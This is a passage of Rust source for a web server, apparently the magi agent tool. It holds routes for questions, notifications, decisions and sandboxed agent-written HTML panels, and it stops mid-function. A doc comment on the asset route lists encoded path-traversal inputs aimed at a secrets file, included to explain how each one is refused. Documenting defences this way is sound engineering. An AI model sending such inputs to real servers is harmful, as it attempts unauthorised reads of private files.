8130    /// Fill `origin_chat` from the queue and the talks.
8131    fn with_origin(
8132        mut self,
8133        tasks: &[crate::queue::Task],
8134        talks: &[Talk],
8135        watches: &[crate::release_watch::WatchState],
8136    ) -> Self {
8137        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8138        self.can_consult_chat = consult.is_some();
8139        let talk =
8140            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8141        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8142        self.origin_chat = talk.map(|t| t.id);
8143        self
8144    }
8145}
8146
8147/// The config this repository resolves, or `None` when it cannot be read.
8148/// Discovering is git processes plus a config render, so a request that needs
8149/// it for many items takes it once and passes it down.
8150fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8151    Config::discover(repo, None).ok().map(|(c, _)| c)
8152}
8153
8154/// Can `magi serve` start a deputy for this question under `cfg`?
8155fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8156    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8157}
8158
8159/// The views `GET /api/questions` answers. `load` runs at most once, however
8160/// many questions there are, and not at all when there are none.
8161fn question_views(
8162    qs: Vec<Question>,
8163    store: &ask::Questions,
8164    load: impl FnOnce() -> Option<Config>,
8165) -> Vec<QuestionView> {
8166    if qs.is_empty() {
8167        return Vec::new();
8168    }
8169    let cfg = load();
8170    qs.into_iter()
8171        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8172        .collect()
8173}
8174
8175/// Who is honestly waiting on an open question right now: `"asker"` (the
8176/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8177/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8178/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8179/// up, or the question never had anyone listening (a conductor question or a
8180/// merge approval from before deputies, or not yet given one).
8181///
8182/// `None` for a question that is settled, and for one that is not an agent's
8183/// to wait on at all (a release notice).
8184fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8185    if !q.status.open() {
8186        return None;
8187    }
8188    if q.cwd.is_none()
8189        && q.deputy.is_none()
8190        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8191    {
8192        return crate::deputy::kind_of(q).map(|_| "nobody");
8193    }
8194    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8195        Some(_) if q.deputy.is_some() => "deputy",
8196        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8197        Some(_) => "asker",
8198        None => "nobody",
8199    })
8200}
8201
8202/// `GET /api/questions`.
8203///
8204/// Everything, not just the open ones: an answered question is the record of a
8205/// decision, and the phone is where the operator goes back to check what they
8206/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8207#[derive(serde::Serialize)]
8208struct DecisionView {
8209    id: String,
8210    task: String,
8211    run: Option<String>,
8212    chat: Option<String>,
8213    display: String,
8214    delivery_error: Option<String>,
8215    decision: crate::task_decision::Decision,
8216}
8217
8218impl DecisionView {
8219    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8220        Some(Self {
8221            id: inquiry.id,
8222            task: inquiry.task,
8223            run: inquiry.run,
8224            chat: inquiry.delivered_to,
8225            display: inquiry.display,
8226            delivery_error: inquiry.delivery_error,
8227            decision: inquiry.decision?,
8228        })
8229    }
8230}
8231
8232#[derive(serde::Serialize)]
8233struct DecisionsView {
8234    items: Vec<DecisionView>,
8235    unreadable: usize,
8236    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8237}
8238
8239// Read-only: list visits and inquiry links never create owner decisions,
8240// delivery receipts or effect acknowledgements.
8241async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8242    blocking(move || {
8243        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8244        let mut views: Vec<_> = items
8245            .into_iter()
8246            .filter_map(DecisionView::from_inquiry)
8247            .collect();
8248        views.sort_by_key(|view| {
8249            (
8250                view.decision.status == crate::task_decision::Status::Resolved,
8251                view.id.clone(),
8252            )
8253        });
8254        Ok(Json(DecisionsView {
8255            items: views,
8256            unreadable,
8257            migration_errors: crate::task_chat::migration_issues(&ui.home),
8258        }))
8259    })
8260    .await
8261}
8262
8263async fn decision_get(
8264    State(ui): State<Arc<Ui>>,
8265    Path(id): Path<String>,
8266) -> ApiResult<Json<DecisionView>> {
8267    blocking(move || {
8268        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8269        DecisionView::from_inquiry(inquiry)
8270            .map(Json)
8271            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8272    })
8273    .await
8274}
8275
8276async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8277    blocking(move || {
8278        let questions = ui.questions.list();
8279        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8280        Ok(Json(
8281            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8282                .into_iter()
8283                .map(|view| view.with_origin(&tasks, &talks, &watches))
8284                .collect(),
8285        ))
8286    })
8287    .await
8288}
8289
8290/// Question content and answer controls never wait for task/chat provenance.
8291async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8292    blocking(move || {
8293        Ok(Json(question_views(
8294            ui.questions.list(),
8295            &ui.questions,
8296            || deputy_config(&ui.repo),
8297        )))
8298    })
8299    .await
8300}
8301
8302fn question_record_revision(question: &Question) -> String {
8303    use std::hash::{Hash as _, Hasher as _};
8304    let mut hash = std::hash::DefaultHasher::new();
8305    serde_json::to_vec(question)
8306        .expect("serializable question")
8307        .hash(&mut hash);
8308    format!("{:016x}", hash.finish())
8309}
8310
8311#[derive(Serialize)]
8312struct QuestionOriginView {
8313    id: String,
8314    record_revision: String,
8315    origin_chat: Option<String>,
8316    origin_chat_closed: bool,
8317    can_consult_chat: bool,
8318}
8319
8320async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8321    blocking(move || {
8322        let questions = ui.questions.list();
8323        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8324        Ok(Json(
8325            questions
8326                .into_iter()
8327                .map(|question| {
8328                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8329                    let can_consult_chat = consult.is_some();
8330                    let talk = crate::consult::associated_talk_with_watches(
8331                        &tasks, &talks, &question, &watches,
8332                    );
8333                    QuestionOriginView {
8334                        record_revision: question_record_revision(&question),
8335                        id: question.id,
8336                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8337                        origin_chat: talk.map(|talk| talk.id),
8338                        can_consult_chat,
8339                    }
8340                })
8341                .collect(),
8342        ))
8343    })
8344    .await
8345}
8346
8347type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8348
8349/// Only the task ancestry and chats these questions actually reference. Run
8350/// mappings share the reconciled queue index; exact task references bypass it.
8351/// No question means no task/chat I/O, including no index reconciliation.
8352fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8353    fn task_for_run(
8354        ui: &Ui,
8355        index: &mut Option<Vec<Arc<TaskRelation>>>,
8356        run: &str,
8357        loaded: &HashMap<String, Task>,
8358    ) -> ApiResult<Option<Task>> {
8359        if !plain_record_id(run) {
8360            return Ok(None);
8361        }
8362        if index.is_none() {
8363            *index = Some(ui.indexed_tasks()?);
8364        }
8365        Ok(index
8366            .as_ref()
8367            .expect("loaded index")
8368            .iter()
8369            .find(|task| task.runs.iter().any(|id| id == run))
8370            .and_then(|task| {
8371                loaded
8372                    .get(&task.id)
8373                    .cloned()
8374                    .or_else(|| ui.queue.get(&task.id).ok())
8375            })
8376            .filter(|task| task.runs.iter().any(|id| id == run)))
8377    }
8378    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8379        plain_record_id(id)
8380            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8381            .flatten()
8382            .filter(|task| task.id == id)
8383    };
8384    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8385    let mut index = None;
8386    let mut tasks = HashMap::new();
8387    let mut talks = HashMap::new();
8388    for question in questions {
8389        for reference in crate::consult::question_task_refs(question, &watches) {
8390            let mut current = match reference {
8391                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8392                crate::consult::QuestionTaskRef::Run(id) => {
8393                    task_for_run(ui, &mut index, id, &tasks)?
8394                }
8395            };
8396            let mut seen = HashSet::new();
8397            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8398                let Some(task) = current.take() else {
8399                    break;
8400                };
8401                if !seen.insert(task.id.clone()) {
8402                    break;
8403                }
8404                let chat = task.chat_talk().map(str::to_owned);
8405                let followup = task.followup.clone();
8406                tasks.insert(task.id.clone(), task);
8407                if let Some(chat) = chat {
8408                    if plain_record_id(&chat)
8409                        && !talks.contains_key(&chat)
8410                        && let Ok(talk) = ui.talks.get(&chat)
8411                    {
8412                        talks.insert(chat, talk);
8413                    }
8414                    break;
8415                }
8416                let Some(followup) = followup else {
8417                    break;
8418                };
8419                current = match followup.origin_task {
8420                    Some(id) => direct_task(&id, &tasks),
8421                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8422                };
8423            }
8424        }
8425    }
8426    let mut tasks: Vec<Task> = tasks.into_values().collect();
8427    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8428    Ok((tasks, talks.into_values().collect(), watches))
8429}
8430
8431/// `GET /api/notifications`: not dismissed, newest first, with the unread
8432/// count so the badge and the list cannot disagree.
8433async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8434    blocking(move || {
8435        let items = ui.notices.list();
8436        let unread = items.iter().filter(|n| n.unread()).count();
8437        let items: Vec<_> = items
8438            .into_iter()
8439            .map(|n| {
8440                let question = crate::notices::answerable_question(&n, &ui.questions);
8441                let mut item = serde_json::to_value(n)?;
8442                item["answerable_question"] = serde_json::json!(question);
8443                Ok(item)
8444            })
8445            .collect::<anyhow::Result<_>>()?;
8446        Ok(Json(
8447            serde_json::json!({ "unread": unread, "items": items }),
8448        ))
8449    })
8450    .await
8451}
8452
8453fn notice_error(e: anyhow::Error) -> ApiError {
8454    // An unknown or malformed id and a vanished file are the same answer to
8455    // the phone: that notification is gone.
8456    ApiError::not_found(format!("{e:#}"))
8457}
8458
8459/// `POST /api/notifications/{id}/read`.
8460async fn notification_read(
8461    State(ui): State<Arc<Ui>>,
8462    Path(id): Path<String>,
8463) -> ApiResult<Json<Notice>> {
8464    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8465}
8466
8467/// `POST /api/notifications/{id}/dismiss`.
8468async fn notification_dismiss(
8469    State(ui): State<Arc<Ui>>,
8470    Path(id): Path<String>,
8471) -> ApiResult<Json<Notice>> {
8472    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8473}
8474
8475/// `POST /api/notifications/read-all`.
8476async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8477    blocking(move || {
8478        let changed = ui.notices.mark_all_read()?;
8479        Ok(Json(serde_json::json!({ "marked": changed })))
8480    })
8481    .await
8482}
8483
8484/// The body of `POST /api/questions/{id}/answer`.
8485///
8486/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8487/// a bad request rather than a guess: an answer magi invented is worse than a
8488/// question left open.
8489#[derive(Debug, Default, Deserialize)]
8490#[serde(default, deny_unknown_fields)]
8491struct NewAnswer {
8492    choice: Option<String>,
8493    text: Option<String>,
8494    talk: Option<String>,
8495    head: Option<String>,
8496}
8497
8498async fn question_answer(
8499    State(ui): State<Arc<Ui>>,
8500    Path(id): Path<String>,
8501    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8502) -> ApiResult<Json<QuestionView>> {
8503    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8504    let answer = match (body.choice, body.text) {
8505        (Some(c), None) => Answer::Choice(c),
8506        (None, Some(t)) => Answer::Text(t),
8507        (Some(_), Some(_)) => {
8508            return Err(ApiError::bad_request(
8509                "send either `choice` or `text`, not both",
8510            ));
8511        }
8512        (None, None) => {
8513            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8514        }
8515    };
8516
8517    blocking(move || {
8518        let id = resolve_question(&ui.questions, &id)?;
8519        let q = ui
8520            .questions
8521            .get(&id)
8522            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8523        if !q.can_answer() {
8524            // Answered from the terminal, or by another phone, in between the
8525            // list and the tap. The UI shows the recorded answer rather than an
8526            // error, so it needs the record, not just the status.
8527            return Err(ApiError::conflict(format!(
8528                "question {} is already {}",
8529                q.short(),
8530                q.status.as_str()
8531            )));
8532        }
8533        // `Question::answer` owns the rules - an unoffered choice, free text on
8534        // a multiple-choice question, an empty reply - so the route does not
8535        // restate them and cannot drift from the CLI's behaviour.
8536        let cfg = deputy_config(&ui.repo);
8537        let (q, ()) = ui
8538            .questions
8539            .update(&q.id, |r| {
8540                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8541                // Buttons retain their displayed chat/head binding. A direct
8542                // decision does not require a button or a prior persona offer.
8543                if r.routed_task.is_some()
8544                    && r.merge_target.is_some()
8545                    && merge
8546                    && (body.talk.is_some() || body.head.is_some())
8547                {
8548                    let talk_id = body
8549                        .talk
8550                        .as_deref()
8551                        .context("approval button requires its chat")?;
8552                    let head = body
8553                        .head
8554                        .as_deref()
8555                        .context("approval button requires the displayed head")?;
8556                    let talk = ui.talks.get(talk_id)?;
8557                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8558                    r.answer_chat_button(answer, talk_id, head)
8559                } else {
8560                    r.answer(answer)
8561                }
8562            })
8563            .map_err(ApiError::bad_request_from)?;
8564        let (tasks, talks, watches) =
8565            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8566        Ok(Json(
8567            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8568        ))
8569    })
8570    .await
8571}
8572
8573/// A dedicated status avoids the client's settled-question 409 handling.
8574fn question_text_error(e: anyhow::Error) -> ApiError {
8575    let reason = e
8576        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8577        .map(|e| e.reason);
8578    let error = ApiError::bad_request_from(e);
8579    if let Some(reason) = reason {
8580        ApiError {
8581            text_reason: Some(reason),
8582            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8583        }
8584    } else {
8585        error
8586    }
8587}
8588
8589/// The body of `POST /api/questions/{id}/say`.
8590#[derive(Debug, Deserialize)]
8591#[serde(deny_unknown_fields)]
8592struct NewSay {
8593    body: String,
8594}
8595
8596/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8597///
8598/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8599/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8600/// file, so there is no turn to serialize against and no
8601/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8602/// is a *different* process - the run parked behind `magi ask` - and picks
8603/// the reply up on its own poll of the very same file, same as an answer
8604/// does.
8605async fn question_say(
8606    State(ui): State<Arc<Ui>>,
8607    Path(id): Path<String>,
8608    body: std::result::Result<Json<NewSay>, JsonRejection>,
8609) -> ApiResult<Json<QuestionView>> {
8610    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8611    blocking(move || {
8612        let id = resolve_question(&ui.questions, &id)?;
8613        let q = ui
8614            .questions
8615            .get(&id)
8616            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8617        if !q.status.open() {
8618            // Same granularity as `question_answer`: answered or abandoned in
8619            // between the list and the tap is not this route's error to
8620            // explain any differently.
8621            return Err(ApiError::conflict(format!(
8622                "question {} is already {}",
8623                q.short(),
8624                q.status.as_str()
8625            )));
8626        }
8627        // `Question::say` owns the one rule that matters here - an empty
8628        // message tells the agent nothing - so the route does not restate it.
8629        let cfg = deputy_config(&ui.repo);
8630        let (q, ()) = ui
8631            .questions
8632            .update(&q.id, |r| {
8633                if body.body.trim().is_empty() {
8634                    return r.say(body.body);
8635                }
8636                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8637                r.say(body.body)
8638            })
8639            .map_err(question_text_error)?;
8640        let (tasks, talks, watches) =
8641            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8642        Ok(Json(
8643            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8644        ))
8645    })
8646    .await
8647}
8648
8649/// A disconnected request or a replacing listener cannot interrupt the short
8650/// transaction between persistence and detached worker publication.
8651async fn admitted<T: Send + 'static>(
8652    admission: AdmissionGuard,
8653    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8654) -> ApiResult<T> {
8655    tokio::spawn(async move {
8656        let result = work.await;
8657        drop(admission);
8658        result
8659    })
8660    .await
8661    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8662}
8663
8664/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8665/// came from. The question stays open: the chat agent answers it with `magi
8666/// answer`, or puts the decision to the owner in the conversation.
8667///
8668/// Answers 202 and runs the turn in the background, like every route that
8669/// spends agent calls. The text is queued as a draft of the existing talk, and
8670/// the turn goes through the talk's own gate and session; no seat or waiter is
8671/// started here.
8672async fn question_consult(
8673    State(ui): State<Arc<Ui>>,
8674    Path(id): Path<String>,
8675) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8676    let admission = ui.begin_admission()?;
8677    admitted(admission, async move {
8678        let (q, tasks, talks, watches, talk, cfg) = blocking({
8679            let ui = Arc::clone(&ui);
8680            move || {
8681                let id = resolve_question(&ui.questions, &id)?;
8682                let q = ui.questions.get(&id).map_err(|e| {
8683                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8684                })?;
8685                if !q.status.open() {
8686                    return Err(ApiError::conflict(format!(
8687                        "question {} is already {}",
8688                        q.short(),
8689                        q.status.as_str()
8690                    )));
8691                }
8692                let (tasks, talks, watches) =
8693                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8694                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8695                    return Err(ApiError::conflict(format!(
8696                        "question {} has no chat to ask",
8697                        q.short()
8698                    )));
8699                };
8700                // Read the config before `begin` saves anything: a failure here
8701                // must leave no consult record or draft behind, or a retry would
8702                // see `fresh == false` and never start the turn.
8703                let cfg = if q.consult.is_none() {
8704                    Some(Config::discover(&talk.repo, None)?.0)
8705                } else {
8706                    None
8707                };
8708                Ok((q, tasks, talks, watches, talk, cfg))
8709            }
8710        })
8711        .await?;
8712        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8713            .await
8714            .map_err(ApiError::from)?;
8715        let (view, reclaimed, submitted) = blocking({
8716            let ui = Arc::clone(&ui);
8717            move || {
8718                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8719                let claim = if fresh {
8720                    match ui.begin_queued_talk_turn(&talk.id)? {
8721                        Some(turn_guard) => {
8722                            let talk = ui.talks.get(&talk.id)?;
8723                            let cfg = match cfg {
8724                                Some(cfg) => cfg,
8725                                None => Config::discover(&talk.repo, None)?.0,
8726                            };
8727                            Some((talk, cfg, turn_guard))
8728                        }
8729                        None => None,
8730                    }
8731                } else {
8732                    None
8733                };
8734                let q = ui.questions.get(&q.id)?;
8735                let cfg = deputy_config(&ui.repo);
8736                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8737                    .with_origin(&tasks, &talks, &watches);
8738                Ok((view, claim, fresh.then_some(talk.id)))
8739            }
8740        })
8741        .await?;
8742        #[cfg(not(test))]
8743        {
8744            if let Some(id) = submitted {
8745                crate::chat_worker::spawn_turn(&ui.talks, &id)
8746                    .await
8747                    .map_err(ApiError::from)?;
8748            }
8749            drop(reclaimed);
8750        }
8751        #[cfg(test)]
8752        let _ = submitted;
8753        #[cfg(test)]
8754        if let Some((talk, cfg, turn_guard)) = reclaimed {
8755            let talks = ui.talks.clone();
8756            let id = talk.id.clone();
8757            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8758        }
8759        Ok((StatusCode::ACCEPTED, Json(view)))
8760    })
8761    .await
8762}
8763
8764/// Expand an id or short id to exactly one question id.
8765fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8766    if plain_record_id(id) && store.path_of(id).is_file() {
8767        return Ok(id.to_owned());
8768    }
8769    pick(
8770        store.list().into_iter().map(|q| q.id).collect(),
8771        id,
8772        "question",
8773    )
8774}
8775
8776/// `GET /api/questions/{id}/panel`.
8777///
8778/// The panel an agent wrote for this question, as `text/html` under
8779/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8780/// A question without one is a 404 rather than an empty page: the client
8781/// preflights this route with `HEAD` and must be able to tell "no panel" from
8782/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8783/// parent document so it cannot tell the difference by looking.
8784///
8785/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8786/// sanitises or minifies it - a sanitiser is a list of things someone thought
8787/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8788/// is the direction that stays safe when an agent writes markup nobody
8789/// predicted.
8790async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8791    blocking(move || {
8792        let id = resolve_question(&ui.questions, &id)?;
8793        let Some(html) = ui.questions.panel_html(&id) else {
8794            return Err(ApiError::not_found(format!("question {id} has no panel")));
8795        };
8796        Ok(panel_response(
8797            "text/html; charset=utf-8",
8798            false,
8799            html.into_bytes(),
8800        ))
8801    })
8802    .await
8803}
8804
8805/// `GET /api/questions/{id}/asset/{name}`.
8806///
8807/// One file from the question's own panel directory, so a panel can show a
8808/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8809/// having to allow anything off this machine.
8810///
8811/// This is the only route in the server where a client names a file, so it is
8812/// the only one with a traversal surface, and the name is checked by
8813/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8814/// what is worth being explicit about, because the answer is not "all of it in
8815/// one place":
8816///
8817/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8818///   the raw request path and `{name}` spans exactly one segment, so a real
8819///   slash makes the request too long for the route and the router answers 404.
8820/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8821///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8822///   `..\secrets` respectively, which look like plain filenames to the router.
8823///   The validator refuses them here - both for the literal `..` and because
8824///   `/` and `\` are not in the permitted character set - and answers 400.
8825/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8826///   the platform's path API is not, and it is refused here for the same
8827///   reason: NUL is not a permitted character.
8828/// * [`Questions::panel_asset`] validates again on read, so the check is not
8829///   load-bearing in only one place. This route's own check exists so the
8830///   failure is a 400 that says which name was wrong, rather than a store error
8831///   the operator has to interpret.
8832async fn question_asset(
8833    State(ui): State<Arc<Ui>>,
8834    Path((id, name)): Path<(String, String)>,
8835) -> ApiResult<Response> {
8836    // Before any filesystem work and before any path is built: a name this
8837    // server will not serve should not become a `PathBuf` at all.
8838    if !crate::ask::valid_asset_name(&name) {
8839        return Err(ApiError::bad_request(format!(
8840            "`{name}` is not a usable asset name"
8841        )));
8842    }
8843    blocking(move || {
8844        let id = resolve_question(&ui.questions, &id)?;
8845        let asset = ui
8846            .questions
8847            .panel_asset(&id, &name)
8848            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8849        let Some(bytes) = asset else {
8850            return Err(ApiError::not_found(format!(
8851                "question {id} has no asset `{name}`"
8852            )));
8853        };
8854        Ok(panel_response(
8855            asset_content_type(&name),
8856            is_svg(&name),
8857            bytes,
8858        ))
8859    })
8860    .await
8861}
8862
8863/// Content type for a panel asset, from a closed whitelist.
8864///
8865/// A whitelist with an `application/octet-stream` fallback rather than a
8866/// guess, because the one answer that must never come out of here is
8867/// `text/html`. An agent that writes `notes.html` into its panel directory and
8868/// links it would otherwise get its own markup rendered at the top level of the
8869/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8870/// magi's origin - which is precisely the thing the panel design exists to
8871/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8872///
8873/// `nosniff` accompanies this on every response, so a browser cannot decide it
8874/// knows better than the type we sent.
8875fn asset_content_type(name: &str) -> &'static str {
8876    match extension(name).as_deref() {
8877        Some("png") => "image/png",
8878        Some("jpg" | "jpeg") => "image/jpeg",
8879        Some("gif") => "image/gif",
8880        Some("webp") => "image/webp",
8881        Some("svg") => "image/svg+xml",
8882        Some("css") => "text/css; charset=utf-8",
8883        Some("txt") => "text/plain; charset=utf-8",
8884        _ => "application/octet-stream",
8885    }
8886}
8887
8888/// Is this an SVG, and therefore a file that must never be opened at the top
8889/// level?
8890fn is_svg(name: &str) -> bool {
8891    extension(name).as_deref() == Some("svg")
8892}
8893
8894/// Lowercased extension, or `None` for a name without one.
8895fn extension(name: &str) -> Option<String> {
8896    name.rsplit_once('.')
8897        .map(|(_, ext)| ext.to_ascii_lowercase())
8898}
8899
8900/// Every panel response, with the four headers that make it safe and, for an
8901/// SVG, a fifth.
8902///
8903/// One function rather than a header list per handler, because a panel route
8904/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8905/// model gone, silently, on one of two routes. Adding a third panel route later
8906/// means calling this, and there is nowhere else to build a panel response.
8907///
8908/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8909/// as an `<img src>` inside the panel that script cannot run - but the asset
8910/// URL is also a plain URL an operator can be talked into opening in a tab,
8911/// where it is a document on magi's own origin. `Content-Disposition:
8912/// attachment` makes the browser download it instead of rendering it, which
8913/// closes that door without taking away the ability to draw a diff. Raster
8914/// images have no such execution surface and are left inline, so tapping a
8915/// screenshot still shows it.
8916fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8917    let mut res = (
8918        [
8919            (header::CONTENT_TYPE, content_type),
8920            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8921            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8922            (header::REFERRER_POLICY, "no-referrer"),
8923        ],
8924        body,
8925    )
8926        .into_response();
8927    if download {
8928        res.headers_mut().insert(
8929            header::CONTENT_DISPOSITION,
8930            HeaderValue::from_static("attachment"),
8931        );
8932    }
8933    res
8934}
8935
8936/// A talk as the phone reads it.
8937///
8938/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8939/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8940/// parses markdown itself - and the process-local `thinking` hint.
8941#[derive(Debug, Serialize)]
8942struct ChatApproval {
8943    question: String,
8944    target: crate::merge_decision::Target,
8945}
8946
8947#[derive(Debug, Serialize)]
8948struct TalkView {
8949    #[serde(flatten)]
8950    talk: Talk,
8951    turn_bodies_md: Vec<Vec<md::Node>>,
8952    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8953    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8954    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8955    merge_approvals: Vec<ChatApproval>,
8956    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8957    /// this server process.
8958    ///
8959    /// This is deliberately not durable: another server process cannot see
8960    /// it, and a restarted server must not claim an old turn is live. It is a
8961    /// progress hint rather than proof a reply landed; the transcript remains
8962    /// the source of truth for that.
8963    thinking: bool,
8964    /// Context-window usage, derived per request - see
8965    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8966    /// and each mutation) so the phone needs no extra call or polling.
8967    context: talk::ContextUsage,
8968    /// `[talk] operator_name`, when configured; the Chat labels the
8969    /// operator's turns with it.
8970    operator_name: Option<String>,
8971    /// The active persona's display name; `None` for the default voice.
8972    persona_name: Option<String>,
8973    /// URL of the avatar for the conversation's persona (the default voice
8974    /// included). Server-built; a configured `icon` never reaches the client.
8975    persona_avatar: String,
8976    /// Operator avatar; display only and independent of repository config.
8977    operator_avatar: String,
8978    magi_avatar: String,
8979}
8980
8981impl TalkView {
8982    /// Reads the talk's repository config itself; a config that cannot be
8983    /// read leaves the window unknown but never fails the conversation.
8984    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8985        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8986        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8987    }
8988
8989    /// As [`Self::new`], with the config already in hand (the list reads one
8990    /// per repository, not one per conversation).
8991    fn with_config(
8992        talk: Talk,
8993        thinking: bool,
8994        cfg: Option<&Config>,
8995        home: &FsPath,
8996        cache: &id_links::IndexCache,
8997    ) -> Self {
8998        let references = cache.for_talk(home, &talk);
8999        Self::with_references(talk, thinking, cfg, home, &references)
9000    }
9001
9002    fn with_references(
9003        mut talk: Talk,
9004        thinking: bool,
9005        cfg: Option<&Config>,
9006        home: &FsPath,
9007        references: &id_links::IdIndex,
9008    ) -> Self {
9009        // This owned value is the display DTO; never write it back to the talk store.
9010        let snapshot = talk.clone();
9011        for (index, turn) in talk.turns.iter_mut().enumerate() {
9012            let original = &snapshot.turns[index];
9013            if turn.messages.is_empty() {
9014                if let Some(display) = talk::notice_display(&snapshot, original, None) {
9015                    turn.messages.push(talk::Message {
9016                        sender: Some(talk::Sender::Magi),
